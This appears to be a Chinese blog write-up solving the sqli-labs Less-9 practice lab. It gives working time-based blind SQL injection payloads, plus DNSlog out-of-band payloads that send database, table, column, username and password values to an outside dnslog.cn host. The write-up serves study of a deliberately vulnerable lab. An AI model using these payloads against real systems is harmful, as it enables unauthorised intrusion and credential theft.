重新做sqli-labs的时候发现这题还有另一种做法,记录一下
之前的做法 报错注入加时间盲注
1.
http://127.0.0.1/sqli_labs/Less-9/?id=1
返回正确(you are in…)
http://127.0.0.1/sqli_labs/Less-9/?id=1'
仍然返回正确(you are in…)
看源码,虽然还是用的单引号的方式闭合,但是不知道为什么不报错,但这题必然是可以注入的
换用延时注入的方法试着判断一下能否注入
http://127.0.0.1/sqli_labs/Less-9/?id=1' and sleep(5)--+
网页加载了5秒,虽然还是有正确回显(you are in…),但显然是and前面的语句报错了,只是回显永远是you are in…
2.
这步应该到查字段了,但当使用order by的时候,此时无论如何都是回显you are in….所以无法使用order by进行判断。
由于我们下一步要查数据库名,而这题盲注无论如何回显都只会给you are in…
只要我们能够判断我们猜测的数据库名是否正确就行,所以这步直接查数据库名
http://127.0.0.1/sqli_labs/Less-9/?id=1' and if(length(database())=8,1,sleep(5));
通过返回时间进行判断,此时如果数据库长度为8,则可以较快返回。
http://127.0.0.1/sqli_labs/Less-9/?id=1' and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))=109,1,sleep(5))--+
判断第五个数据库名的第一个字母ascii码值是否是109(m)
建议不要用hackbar发包,有时会出错
3.
后面的方法都和第八关里面时间盲注的方法相类似,这里就不再赘述了
dnslog注入
对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入 使用DnsLog盲注仅限于windos环境。
因为它只有正常显示和不正常显示两种状态,不回显MySQL的报错信息。一般是使用盲注,但是它页面上提示的有“Use outfile…”,既然提示了,那么就说明它开了读写权限。
使用load_file函数可行
1.构造payload
?id=1' and load_file(concat('\\\\',(select database()),'.6sx2l3.dnslog.cn\\abc'))--+
解释一下这个payload
concat()的作用就是将字符串连接在一起
\\其实是转义的意思,使用后就会变成 \
\也是转义,这样就会变成一个
然后逗号隔开,(select database()) 就是一个子查询
这时候查询语句就会变成
select load_file(\库名.SubDomain\asb)
最后构造出来的注入语句就是
select load_file(concat(’\\’,(select database()),’.SubDomain\abc’))
get这个payload后回到dnslog platform就可以看到成功爆出了我们的数据库名
?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.snkmf2.dnslog.cn\\abc'))--+
然后依次改变limit后面的值爆出表名
?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.snkmf2.dnslog.cn\\abc'))--+
爆字段名
?id=1' and load_file(concat('\\\\',(select username from users limit 0,1),'.snkmf2.dnslog.cn\\abc'))--+ #获取表中的数据
?id=1' and load_file(concat('\\\\',(select password from users limit 0,1),'.snkmf2.dnslog.cn\\abc'))--+ #获取表中的数据
到此dnslog注入的步骤就完成了